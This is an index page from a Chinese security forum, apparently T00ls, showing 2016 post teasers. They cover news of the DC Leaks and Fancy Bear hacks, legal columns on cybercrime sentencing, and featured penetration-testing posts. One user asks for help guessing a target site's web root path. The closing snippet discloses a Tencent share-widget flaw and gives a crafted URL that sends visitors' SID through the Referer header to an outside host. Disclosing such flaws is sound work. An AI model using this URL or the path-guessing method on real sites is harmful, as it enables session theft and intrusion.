来帮我猜路径!!!

一个站ip的情况,直接po图只有3个站,www.666.com,666.com,666.net,而且3个站的内容一样,只是域名不同,都是帝国cms的,情况我上个帖子有描述现在的情况我一步一步猜它的路径,看结果,po图通过fuzzing,先发现了d:\wwwroot,接着d:\wwwroot\666\,是可以的,但还不是根目录,访问下404,猜测d:\wwwroot\666\后面应该是根目录,但死在这里了,试了网站的各种组合都不行现在离成功只差一步之遥请教下前辈大牛们路径可以爆破吗,有路 ...

白宫电邮被黑:第一夫人护照与安保措施曝光

名为“DC Leaks”的黑客组织在网上公布了被破解的白宫雇员电子邮件信息,其中包括第一夫人米歇尔的护照扫描件和副总统拜登以及米歇尔的行程安排与安保措施详情。DC Leaks称,成功获取上述敏感信息的行动说明白宫网上安保措施“形同虚设”。如果恐怖分子采取类似行动,美国国家安全将面临极大威胁。比如,拜登出行计划中包括 ...

2016-09-23 11:51:14 6 257

看看传播“私密小视频”的后果【T00ls法律讲堂第七期】

今天给大伙一个接地气的交流,主题就是传播淫秽物品方面的法律责任(仅为法律交流,请各位依旧保持童心)。另外为了进一步理解该罪的构成,本文依旧举例释法(如有雷同、纯属BUG)首先大伙先了解一下网络淫秽电子信息的定义:刑法第367条第一款明确规定了“淫秽物品”的定义,即“具体描绘性行为或露骨宣扬色情的诲淫性的书 ...

2016-09-19 10:15:08 39 1164

黑客用6美元打造出一款能够入侵酒店客房与POS系统

E安全8月3日讯 来自Rapid7公司的安全研究人员Weston Hecker开发出一款成本仅为6美元的工具,但其足以开启酒店房门及攻克销售点系统。相信没人指望酒店的电子锁能挡得住黑客们的入侵——但真正令人惊讶的是,技术人员仅使用一款成本为6美元的工具就完成了这一目标。来自Rapid7公司的安全研究人员Weston Hecker打造出一款成本 ...

2016-09-14 21:54:24 5 421

俄黑客入侵WADA数据库 大小威使用违禁药物曝光

北京时间9月14日,俄罗斯黑客组织“魔幻熊”(Fancy Bear)在其网站上声称,它们侵入了世界反兴奋剂机构的数据库,发现了大量未公开的文件,其中美国网球明星威廉姆斯姐妹和里约奥运会四枚体操金牌得主西蒙斯-拜尔被WADA允许使用违禁药物。  这家黑客网站公布消息称:“小威廉姆斯,世界著名网球运动员,服用盐酸羟考酮和 ...

2016-09-14 21:52:25 2 279

算算你能判多少年?【T00ls法律讲堂第六期】

一些想成为黑产牛的小伙伴经常问:这个判多久,那个判多久!那么今天统一给大伙简单普及一下审判中的量刑问题。这次依旧举例释法(当事人采用化名,案件虚构,如有雷同,纯属BUG)案情简介:在我国南部有个刚成立的攻击小组,领导者外号太君,组织成员都以代号相称,主要成员有6613、7816、5959、7788,该组织决定采用DDOS ...

2016-09-14 12:00:40 55 1903

英特尔拆分McAfee,31亿美元出售51%股权

  最新消息,英特尔周三宣布,将正式拆分旗下McAfee网络安全部门,以31亿美元现金(含债务)的价格将多数股权出售给投资公司TPG。  交易完成之后,TPG将持有新公司51%的股权,英特尔则持有49%。包含债务在内,这笔交易对新公司的估值达到了42亿美元。未来,TPG将对新公司进行11亿美元的股权投资,不过同时也需要背负大约2 ...

2016-09-10 00:11:53 4 228

热门活动

T00ls专家

zcgonvh

注册会员

文章15篇,精华8篇

1

Twi1ight

核心会员

文章32篇,精华8篇

2

yours

新手上路

文章19篇,精华2篇

3

宝宝

注册会员

文章50篇,精华2篇

4

Mir4cl3

注册会员

文章36篇,精华2篇

5

4ido10n

注册会员

文章10篇,精华2篇

6

lostwolf

荣誉会员

文章113篇,精华2篇

7

alibaba

荣誉会员

文章21篇,精华2篇

8

my5t3ry

元老核心

文章25篇,精华2篇

9

ninty

元老核心

文章49篇,精华2篇

10

最新精华

渗透测试代理转发工具汇总分析

0. 序在综合的渗透过程中,Shell is Only the Beginning 。 内网 ...

2016-08-31 18:02:33 53 1520

渗透测试【渗透基础考核贴】史上最牛逼的答案原创与整理,学会这些,你就很牛逼,不服来辩。

【渗透基础考核贴】史上最牛逼的答案原创与整理,学会这些,你就很 ...

2016-08-23 20:35:46 127 2656

渗透测试VBS操作二进制数据,以及一些杂七杂八

drops和谐前看到lcx牛发表的《昨日黄花--vbscript》,里面提到了 ...

2016-07-24 01:57:36 17 371

渗透测试内网渗透大杂烩

闲来无事,就想着写一篇内网渗透大杂烩的文章,之前用莲花仙子账 ...

2016-07-15 21:18:19 59 869

腾讯(qq.com)内容分享钓鱼漏洞,可导致SID泄露

当用户访问如下链接时,[url]http://connect.qq.com/widget/shareqq/index.html?url=http://host5681544d.kryptcloud.com/a.php&desc=&title=&summary=&pics=http://host5681544d.kryptcloud.com/a.php&flash=&sit&style=201&width=32&height=32[/url]会创建一个网页缩略图。当手机用户访问该缩略图时,会自动附上自己的SIDa.php可以通过$_SERVER['HTTP_REFERER'] 获取到访问来路,从而导致用户的SID泄露